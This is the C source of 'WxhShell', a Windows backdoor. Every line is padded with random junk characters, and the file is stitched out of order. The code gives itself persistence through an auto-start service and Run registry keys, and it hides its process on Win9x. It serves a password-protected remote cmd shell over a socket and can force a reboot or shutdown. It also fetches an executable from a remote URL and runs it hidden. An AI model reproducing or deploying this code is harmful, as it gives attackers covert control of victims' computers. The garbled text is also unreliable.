    if(Boot(SHUTDOWN)) y=y/d>=w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7] R6  
    else { :5q^\xmmq  
    closesocket(wsh); ";%e~ =  
    ExitThread(0); _:/Cl9~  
    } AycA :<  
    break; rcD.P?"  
    } 5M/%%Ox  
  // 获取shell 1_p[*h  
  case 's': { e)fJd*P  
    CmdShell(wsh); {m1t~ S   
    closesocket(wsh); /1s9;'I  
    ExitThread(0); $_%2D3-;D  
    break; o+PQ;Dl  
  } <ls i.x\y<  
  // 退出 VuYWb)@  
  case 'x': { OgzGkc@A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (@N~ j&  
    CloseIt(wsh); 7N-CtQnv  
    break; >vNk kxWyQ  
    } qkZ5+2m  
  // 离开 |TNiKy  
  case 'q': { U>3%!83kF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *;V2_fWJ@  
    closesocket(wsh); .j+2x[`l  
    WSACleanup(); Q}k_#w  
    exit(1); Q9Xm b2LN  
    break; NoSqzJyh  
        } ~0Q\Lp);  
  } Z]1z*dv  
  } 8Pnqmjjj  
Y_aP:+  
  // 提示信息 wAj(v6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j|VlHDqR  
} l72i e  
  } ?()E5 4y  
R+@sHsZ@  
  return; }hObtAS  
} Npg5Z%+y  
4u{E D(  
// shell模块句柄 #7cf 8y  
int CmdShell(SOCKET sock) 8m1 3M5r  
{ qNuv?.7  
STARTUPINFO si; t0AqGrn  
ZeroMemory(&si,sizeof(si)); gw}7%U`T9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nsy9 h}+A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :BrnRW64  
PROCESS_INFORMATION ProcessInfo; ?6.KS  
char cmdline[]="cmd"; gen3"\Og{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =O}%bZ)Q  
  return 0; L{o >D"  
} Hhce:E@K  
,:Rq  
// 自身启动模式 H?zCIue3  
int StartFromService(void) %lqG*dRx0  
{ Z:o' +oh  
typedef struct %]= 'Uv^x  
{ VHXR)}  
  DWORD ExitStatus; "351s3ff  
  DWORD PebBaseAddress; q5K/+N^2?  
  DWORD AffinityMask; s'fcAh,c6  
  DWORD BasePriority; `- uZv  
  ULONG UniqueProcessId; ~)\1g0  
  ULONG InheritedFromUniqueProcessId; -^nQ^Td=j  
}   PROCESS_BASIC_INFORMATION; :O @,Z_"  
Q/9vDv  
PROCNTQSIP NtQueryInformationProcess; ]6c2[r?g{  
>=q!!'$:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `X]2iz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x.4)p6  
bMK'J  
  HANDLE             hProcess; Uc%`? +Q  
  PROCESS_BASIC_INFORMATION pbi; `efH(  
Zn=JmZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HDXjH|of  
  if(NULL == hInst ) return 0; V~^6 TS(  
#}]il0d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~6kA<(x   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~Sem_U`G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Tl6:=B  
gu%'M:Xe  
  if (!NtQueryInformationProcess) return 0; 4>tYMyLt0  
4sD:J-c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pUEok+  
  if(!hProcess) return 0; a*wJcJTpV"  
qFsg&<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a_fW {;}[  
8J(zWV7 r  
  CloseHandle(hProcess); kk7: A0._  
/v ;Kb|e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (/P&;?j  
if(hProcess==NULL) return 0; xTawG?"D  
36Y[7 m=  
HMODULE hMod; N %/DN  
char procName[255]; _w,0wn9N$  
unsigned long cbNeeded; \rnG 1o  
!5 :[XvI#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ob5nk ^y  
Ol5xyj  
  CloseHandle(hProcess); dGW7,B~  
g[+Q~/yq  
if(strstr(procName,"services")) return 1; // 以服务启动 O)Dw<j)  
zMqEMx9  
  return 0; // 注册表启动 Gbm_xEPC  
} _!p$47  
m-FDCiN>  
// 主模块 Lj1 @yokB  
int StartWxhshell(LPSTR lpCmdLine) !l~aRj-WZ  
{ 7?WBzo!!L  
  SOCKET wsl; DN{G$$or  
BOOL val=TRUE; /+U)!$zm*  
  int port=0; H 1X]tw.  
  struct sockaddr_in door; Sg~A'dG  
}? '9L:  
  if(wscfg.ws_autoins) Install(); ?v~3zHK  
/%w[q:..h  
port=atoi(lpCmdLine); 2 3w{h d  
nL20}"$E  
if(port<=0) port=wscfg.ws_port; c^gIK1f-  
JJ3JULL2  
  WSADATA data; ^b. MR?9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G")EE#W$}  
:R\v# )C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QNwAuH T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F@K;A%us)  
  door.sin_family = AF_INET; &nw ~gSe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u(`A?H:  
  door.sin_port = htons(port); BtApl)q#  
Z*3}L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?^ 5*[H  
closesocket(wsl); ~y^lNgujO  
return 1; &bK$!8Z  
} JLn<,Gn)<\  
fsuvg jlE  
  if(listen(wsl,2) == INVALID_SOCKET) { ^{bEq\5&  
closesocket(wsl); *uM*)6O 3  
return 1; C P v}A  
} DCUq.q)  
  Wxhshell(wsl); ' uw&f;/E  
  WSACleanup(); 74Wg@! P  
BQg]$Tr?  
return 0; N\&;R$[9:  
M oHvXp;X  
} | :[vpJFK  
uelTsn  
// 以NT服务方式启动 Ih"Ol(W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U# B  
{ P9wDTZ :4  
DWORD   status = 0; @1Lc`;Wd  
  DWORD   specificError = 0xfffffff;  p ivS8C  
1`\kXaG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z59J=?|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h!GixN?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6s2g+[  
  serviceStatus.dwWin32ExitCode     = 0; Xy&#}S}9  
  serviceStatus.dwServiceSpecificExitCode = 0; l/NK.Jr  
  serviceStatus.dwCheckPoint       = 0; NZP,hAUK,  
  serviceStatus.dwWaitHint       = 0; Jl ?Q}SB  
Ka{Zoi]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S}O\<6&  
  if (hServiceStatusHandle==0) return; eO G%6C%a  
Hm*#HT%#  
status = GetLastError(); WE]^w3n9  
  if (status!=NO_ERROR) L9)&9 /f  
{ RoRVu,1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *[n^6)  
    serviceStatus.dwCheckPoint       = 0; i[#Tn52D  
    serviceStatus.dwWaitHint       = 0; jp`N%O]6  
    serviceStatus.dwWin32ExitCode     = status; ~!kbB4`WK  
    serviceStatus.dwServiceSpecificExitCode = specificError; i-b7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >m!.l{*j>N  
    return; FU3B;Fn^Z(  
  } M czWg  
)I4tl/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %-CC_R|0$  
  serviceStatus.dwCheckPoint       = 0; v2V1&-  
  serviceStatus.dwWaitHint       = 0; P0=F9`3wb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jU$PO\UTk  
} Qrh9JFqdG6  
DM95Il[/  
// 处理NT服务事件,比如:启动、停止 nj$K4_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gK CIfxM  
{ qQ_QF  
switch(fdwControl) qT4s* kqr  
{ :ux`*,zh  
case SERVICE_CONTROL_STOP: ND>}t#^$  
  serviceStatus.dwWin32ExitCode = 0; p'*UM%@SIY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |z%,W/Ef  
  serviceStatus.dwCheckPoint   = 0; n21J7;\/+  
  serviceStatus.dwWaitHint     = 0; E.9F~&DPJ<  
  { rGWTpN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /slML~$t<  
  } 4Q5v8k=  
  return; R7i*f/m  
case SERVICE_CONTROL_PAUSE: 1F|+4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?x97 q3I+]  
  break; f7'%AuSQ(  
case SERVICE_CONTROL_CONTINUE: Up&q#vqIj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vkK+ C~"  
  break; 0bE_iu>f'  
case SERVICE_CONTROL_INTERROGATE: 6X7_QBC)  
  break; ?x @khzk  
}; 6_Kz}PQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OBZj-`fqJ  
} Ou^dI  
p98lu'?@  
// 标准应用程序主函数 &%lhov  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v6:DA#0  
{ QVpZA,  
j4h 7q<  
// 获取操作系统版本 &ly[mBP~  
OsIsNt=GetOsVer(); 8~i@7~ J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1;W>ceN"  
pK4)>q  
  // 从命令行安装 CS/-:>s%  
  if(strpbrk(lpCmdLine,"iI")) Install(); TI332,eL  
Ogb_WO;)  
  // 下载执行文件 W5p}oN  
if(wscfg.ws_downexe) { kBzzi^cl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G\Me%{b#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1 wG1\9S  
} v09f#t$;5  
Ut+mm\7  
if(!OsIsNt) { "hfwj`U  
// 如果时win9x,隐藏进程并且设置为注册表启动 luMNi^FQ  
HideProc(); /y0 )r.R  
StartWxhshell(lpCmdLine); OH~t\fQ1Zf  
} [Z 0 e$  
else Vr*t~M>  
  if(StartFromService()) Lh}he:k+  
  // 以服务方式启动 ? _W*7<  
  StartServiceCtrlDispatcher(DispatchTable); J: LSGj;R  
else }DSz_^  
  // 普通方式启动 ;Y"J j  
  StartWxhshell(lpCmdLine); 1pV"< ,t  
lwU&jo*@  
return 0; L8W3Tpi&(  
} J0#% *B  
0pR04"`;  
7v-C-u[E`  
6-3l6q  
=========================================== #xc[)Y,W  
c|7Pnx%gT  
5?b9[o+ D  
s+[=nau('w  
d|TIrlA  
nXN0~,+  
" DbcKKgPn(9  
3 !,%;Vz=  
#include <stdio.h> ' 9,}N:p  
#include <string.h> \||PW58j  
#include <windows.h> , ?%`Ky/  
#include <winsock2.h> j<!$ug9VA  
#include <winsvc.h> =y':VIVJC  
#include <urlmon.h> VYF4q9  
+o/q@&v;Ax  
#pragma comment (lib, "Ws2_32.lib") &(0iSS  
#pragma comment (lib, "urlmon.lib")  &]euN~y  
5 `+*({  
#define MAX_USER   100 // 最大客户端连接数 Kz%wMyZ:g  
#define BUF_SOCK   200 // sock buffer ~7ArH9k .  
#define KEY_BUFF   255 // 输入 buffer _uBf.Qfs  
+z4NxR   
#define REBOOT     0   // 重启 dI>oHMC  
#define SHUTDOWN   1   // 关机 f5G17: Q  
D1w_Vpz  
#define DEF_PORT   5000 // 监听端口 +?c&Gazi  
PY^Yx$t9  
#define REG_LEN     16   // 注册表键长度 PC9:nee  
#define SVC_LEN     80   // NT服务名长度 X)yTx8v4  
34oC285yc  
// 从dll定义API Rn}+l[]jC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7DI8r|~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %|;^[^7+}t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #&@&BlIe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qYpHH!!C=  
 "u%$`*  
// wxhshell配置信息 d`:0kOF+  
struct WSCFG { 'C[gcp  
  int ws_port;         // 监听端口 $)'{+1  
  char ws_passstr[REG_LEN]; // 口令 rOcfPLJi0  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;w1h)  
  char ws_regname[REG_LEN]; // 注册表键名 eZUK<&0x5  
  char ws_svcname[REG_LEN]; // 服务名 P$!Ht  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &o?pZ(\C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _-D(N/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b~\![HoCMM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J)R2O4OEd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o]]Q7S=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N8KHNTb-M  
bk8IGhO|m!  
}; ] 03!K E  
F~{ 4)`  
// default Wxhshell configuration u^{Q|o:=x  
struct WSCFG wscfg={DEF_PORT, LIR2B"3F  
    "xuhuanlingzhe", xd>2TW l#  
    1, t rHj7Nw  
    "Wxhshell", AD8~  
    "Wxhshell", wi9fYfuv3R  
            "WxhShell Service", "e_ED*  
    "Wrsky Windows CmdShell Service", ftK.jj1:  
    "Please Input Your Password: ", !D  
  1,  fBQZ=zh  
  "http://www.wrsky.com/wxhshell.exe", [rQ#skf  
  "Wxhshell.exe" |C5i3?  
    }; =P5SFMPN  
"U yw7  
// 消息定义模块 YN\ QwV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x{+rx.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >Vn!kN6\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p*>[6{$3)O  
char *msg_ws_ext="\n\rExit."; ag] nVE/  
char *msg_ws_end="\n\rQuit."; M14pg0Q  
char *msg_ws_boot="\n\rReboot...";  R,y8~D  
char *msg_ws_poff="\n\rShutdown..."; ^tpy8TQ  
char *msg_ws_down="\n\rSave to "; 6H3_q x  
-,Q<*)q{  
char *msg_ws_err="\n\rErr!"; I{M2nQi  
char *msg_ws_ok="\n\rOK!"; {"@Bf<J#  
$i =-A  
char ExeFile[MAX_PATH]; 9%)'QDVGLf  
int nUser = 0; M>0~Ek%3  
HANDLE handles[MAX_USER]; !FO92 P16  
int OsIsNt; ,PY<AI^59  
{a>)VZw_#  
SERVICE_STATUS       serviceStatus; A]R"C:o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S_\RQB\l  
&qo'ge8p  
// 函数声明 RI%* 5lM8;  
int Install(void); 5m_@s?P[  
int Uninstall(void); *aTM3k)Zs  
int DownloadFile(char *sURL, SOCKET wsh); YXBS!89m  
int Boot(int flag); \Ud2]^D=  
void HideProc(void); 8l?]UFM>C  
int GetOsVer(void); T nPC\.x  
int Wxhshell(SOCKET wsl); /AWHG._  
void TalkWithClient(void *cs); u D . 0?*_  
int CmdShell(SOCKET sock); ==IL63  
int StartFromService(void); 71f]KalqL  
int StartWxhshell(LPSTR lpCmdLine); V @8X .R>  
F@?QVdY1q7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qHv W{0E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1AhL-Lj  
5ptbz<Xv  
// 数据结构和表定义 uV;Z  
SERVICE_TABLE_ENTRY DispatchTable[] = VM-J^  
{ |QHWX^pO  
{wscfg.ws_svcname, NTServiceMain}, 76c}Rk^  
{NULL, NULL} 9N9|hy  
}; 's*UU:R  
%zY3,4~  
// 自我安装 )L_jR%2j  
int Install(void) ^B5Hjf9  
{ x!G\-2#  
  char svExeFile[MAX_PATH]; W&rjJZY6  
  HKEY key; Y/{Z`}  
  strcpy(svExeFile,ExeFile); Xst&QKU  
2Q<_l*kk(  
// 如果是win9x系统,修改注册表设为自启动 jQf1h|e  
if(!OsIsNt) { mD|<qsY)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >O~xu^N?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?t<wp3bZ  
  RegCloseKey(key); bv|v9_i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LV9\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ph-3,cC  
  RegCloseKey(key); *r(iegO$  
  return 0; pvcf_w`n  
    } qf ]ax!bK  
  } /@on=~  
} mQ1QJ_;  
else { .llAiv  
bp5hS/A^1w  
// 如果是NT以上系统,安装为系统服务 .i`+}@iA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t$s)S>  
if (schSCManager!=0) %f?#) 01>  
{ sp AYb<  
  SC_HANDLE schService = CreateService h j9 b Mj  
  ( ][TS|\\  
  schSCManager, i"_JF-IbN  
  wscfg.ws_svcname, en#W<"_"  
  wscfg.ws_svcdisp, X~W5Z(w(O  
  SERVICE_ALL_ACCESS, )v'3pTs2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vd|/]Zj  
  SERVICE_AUTO_START, 8vnU!r  
  SERVICE_ERROR_NORMAL, BXm{x6\  
  svExeFile, Ik~5j(^E-  
  NULL, LgB}!OLQ  
  NULL, <sd Qvlx$-  
  NULL, JCE364$$"  
  NULL, <:/V`b3a  
  NULL /&vUi7'  
  ); mo <g'|0  
  if (schService!=0) E-n!3RQ(w  
  { |nMbf  
  CloseServiceHandle(schService); vChkSY([  
  CloseServiceHandle(schSCManager); J]$%1Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %K?~$;Z.  
  strcat(svExeFile,wscfg.ws_svcname); YIjBKh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V$^x]z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  vUJb-  
  RegCloseKey(key); :90DS_4  
  return 0; e@@kTny(  
    } &a1agi7M  
  } _U'edK]R  
  CloseServiceHandle(schSCManager); R%SsHu">  
} +X.iJ$)  
} 5wr0+Xo  
$eI[3{}X  
return 1; -08Ys c  
} (9'MdH  
>}_c<`:  
// 自我卸载 H| IsjCc  
int Uninstall(void) m_U__CZ}Tt  
{ *$uKg zv3  
  HKEY key; ?T?%x(]I  
_MnMT9  
if(!OsIsNt) { trM8 p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B*K%&w10~  
  RegDeleteValue(key,wscfg.ws_regname); 6lsU/`.  
  RegCloseKey(key); :9]23'Md  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aU5t|S6  
  RegDeleteValue(key,wscfg.ws_regname); pcm|  
  RegCloseKey(key); CuU"s)  
  return 0; >0B [  
  } dzggl(  
} d$b{KyUA  
} V/J[~mN9  
else { ]TqcV8Q~  
NAHQ:$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2>?GD@GE  
if (schSCManager!=0) Hm%[d;Z7  
{ @^#y23R U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EtN"K-X  
  if (schService!=0) ?9 2+(s  
  { Koahd =  
  if(DeleteService(schService)!=0) { 5|Vb)QBv%  
  CloseServiceHandle(schService); ~r&Q\G  
  CloseServiceHandle(schSCManager); Pbd#Fu;  
  return 0; 6'|J ;  
  } ()3+! };  
  CloseServiceHandle(schService); j^986  
  } b< Pjmb+  
  CloseServiceHandle(schSCManager); :IbrV@gN{@  
} |M0 XLCNd_  
} jAN(r>zVL  
z[] AH#h  
return 1; <N+l"Re#]  
} OjyS ?YY)b  
29x "E$e  
// 从指定url下载文件 9]7+fu  
int DownloadFile(char *sURL, SOCKET wsh) _17c}o#`5w  
{ )<IbQH|_  
  HRESULT hr; OlMCF.W#3  
char seps[]= "/"; ||9f@9  
char *token; Ba!`x<wa  
char *file; 8t0i j  
char myURL[MAX_PATH]; H*;J9{  
char myFILE[MAX_PATH]; m S!/>.1[  
r3p fG  
strcpy(myURL,sURL); >3 qy'lm  
  token=strtok(myURL,seps); V4/eGh_T  
  while(token!=NULL) qt/"$6]%  
  { rQN+x|dKMb  
    file=token; Xqf"Wx(X  
  token=strtok(NULL,seps); S#2 'Jw  
  } "c1vW<;  
Ya304Pjd  
GetCurrentDirectory(MAX_PATH,myFILE); LEHlfB#z`@  
strcat(myFILE, "\\"); |;9OvR> A  
strcat(myFILE, file); 2Xe2 %{  
  send(wsh,myFILE,strlen(myFILE),0); <J[*~v%(  
send(wsh,"...",3,0); 3_vggK%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ag[yM  
  if(hr==S_OK) {K_YW  
return 0; jk) V[7P  
else -wvJZ  
return 1; ''v_8sv  
/DZKz"N  
} V@e0VV3yx%  
@2kt6 W  
// 系统电源模块 >:KPvq!0  
int Boot(int flag) &..'7  
{ %0fj~s;  
  HANDLE hToken; /`:5#O  
  TOKEN_PRIVILEGES tkp; F RS@-P  
k<8:  
  if(OsIsNt) { +%'0;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VEE:Z^U!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EC?!%iO`  
    tkp.PrivilegeCount = 1; vHJ~~if  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j31 Sc3vG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f0MHh5  
if(flag==REBOOT) { 1u)I}"{W>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j~Rh_\>Q  
  return 0; J|,| *t  
} CNf eHMT  
else { 3u+~!yz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z78&IbR  
  return 0; ?}B_'NZ%  
} )v0m7L v#/  
  } sE-"TNONZ  
  else { Wa ,[#H  
if(flag==REBOOT) { $;$_N43  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B>|@XfPM  
  return 0; |w:7).P  
} Ql [ =  
else { QJ>+!p*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7 tit>dJ  
  return 0; UO>p-M  
} AGPZd9  
} 9b()ck-\F#  
R &T(S  
return 1; j YO #  
} M)Ogb '@#  
 5Lm ?  
// win9x进程隐藏模块 S(9fGh  
void HideProc(void) 3mr9}P9;  
{ hbxG  
^ 8egn|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GZ*cV3Y`&  
  if ( hKernel != NULL ) }$81FSKh  
  { S :9zz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bBC3% H^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AqE . TK  
    FreeLibrary(hKernel); 6S<J'9sE  
  } F4Z+)'oDr,  
T4J (8!7  
return; mi<V(M~p  
} ]?b#~  
0j_`7<,:  
// 获取操作系统版本 u@[D*c1!H  
int GetOsVer(void) #pE : !D  
{ cFD(Ap  
  OSVERSIONINFO winfo; RzFv``g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W@#)8];>  
  GetVersionEx(&winfo); R279=sO,J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /_aFQ>.4n  
  return 1; l9#M`x9  
  else |BF4 F5wC?  
  return 0; l*b3Mg  
} ]"{K5s7  
V 7%rKK  
// 客户端句柄模块 1i#M(u_  
int Wxhshell(SOCKET wsl) j`='SzVloW  
{ `NyvJt^<  
  SOCKET wsh; U]d{hY."  
  struct sockaddr_in client; l;F3kA  
  DWORD myID; $>]7NTP  
b2r@vZ]D  
  while(nUser<MAX_USER) {b= ]JPE  
{ qL UbRp  
  int nSize=sizeof(client);  ()=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UR:cBr  
  if(wsh==INVALID_SOCKET) return 1; GC~Tfrf=r  
-HS(<V=a?k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); / ~w\Npf0  
if(handles[nUser]==0) YPFjAQ  
  closesocket(wsh); @/E5$mX`  
else e>z3 \4  
  nUser++; Y(-4Agq  
  } /\_0daUx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i|)<#Ywl  
(9{)4[3MAG  
  return 0; 11Pm lzy  
} s(r(! FZ  
89k9#i X  
// 关闭 socket ' DCrSa>  
void CloseIt(SOCKET wsh) m9a(f>C  
{ 7rbl+:y2  
closesocket(wsh); M(0:>G  
nUser--; OB>Pk_eQK  
ExitThread(0); CAX|[  
} {: T'2+OH>  
jDqe)uVvtV  
// 客户端请求句柄 q6%jCt2'  
void TalkWithClient(void *cs) #\GWYWkR  
{ ggzg, ~V  
w|O MT>.  
  SOCKET wsh=(SOCKET)cs; )lTkqz8v  
  char pwd[SVC_LEN]; 27<~m=`}d  
  char cmd[KEY_BUFF]; 4S`2")V  
char chr[1]; 7D@O:yO  
int i,j; nX7{09  
F%UyFUz  
  while (nUser < MAX_USER) { V{HP8f91  
J/:9;{R  
if(wscfg.ws_passstr) { Pe EC|&x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qfd/t<?|D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kid3@  
  //ZeroMemory(pwd,KEY_BUFF); cz~Fz;)2{N  
      i=0; kXFgvIpg<  
  while(i<SVC_LEN) { )[.FUx  
/U4F\pZl  
  // 设置超时 &}_E~jKK  
  fd_set FdRead; y)0r%=  
  struct timeval TimeOut; e23}'qb  
  FD_ZERO(&FdRead); {0 IEizQ|i  
  FD_SET(wsh,&FdRead); !_3R dS  
  TimeOut.tv_sec=8; @T0F }(k  
  TimeOut.tv_usec=0; F.<sKQ&A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y6~/H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k|(uIU* ]  
P:eY>~m<;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y'?ksow  
  pwd=chr[0]; $!h21  
  if(chr[0]==0xd || chr[0]==0xa) { bS=aFl#  
  pwd=0; JS]6jUB<B  
  break; _z4c7_H3  
  } dO =fbmK  
  i++; 7s+3^'  
    } 9lbe[w @  
b_+dNoB  
  // 如果是非法用户,关闭 socket hK5BOq!y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kTZ`RW&0  
} xE`uFHuS}  
1S/KT4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3)b[C&`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9%55R >s$  
2+y<&[A8U  
while(1) { $$ma1.t"  
=+HMPV6yg7  
  ZeroMemory(cmd,KEY_BUFF); e"Kg/*Ji1  
'id] <<F  
      // 自动支持客户端 telnet标准   4iMo&E<  
  j=0; sOQF_X(.x  
  while(j<KEY_BUFF) { iPgewjx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n]c6nX:'  
  cmd[j]=chr[0]; <Yif-9  
  if(chr[0]==0xa || chr[0]==0xd) { 5i `q  
  cmd[j]=0; X%w`:c&  
  break; 0~ !).f  
  } xXkP(^ Y  
  j++; `}<x"f7.z  
    } +ExXhT  
@AET.qGC  
  // 下载文件 >1u!(-A  
  if(strstr(cmd,"http://")) { ^oaFnzJdf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {8`V5:  
  if(DownloadFile(cmd,wsh)) 4&]Sb}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,v(K |P@  
  else O1!hSu&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n3Uw6gLD  
  }  &ig6\&1  
  else { c4H5[LPF  
u By[x 0  
    switch(cmd[0]) { r: Ij\YQ  
  <=D !/7$ O  
  // 帮助 2 |]pD  
  case '?': { euO!vLdX  
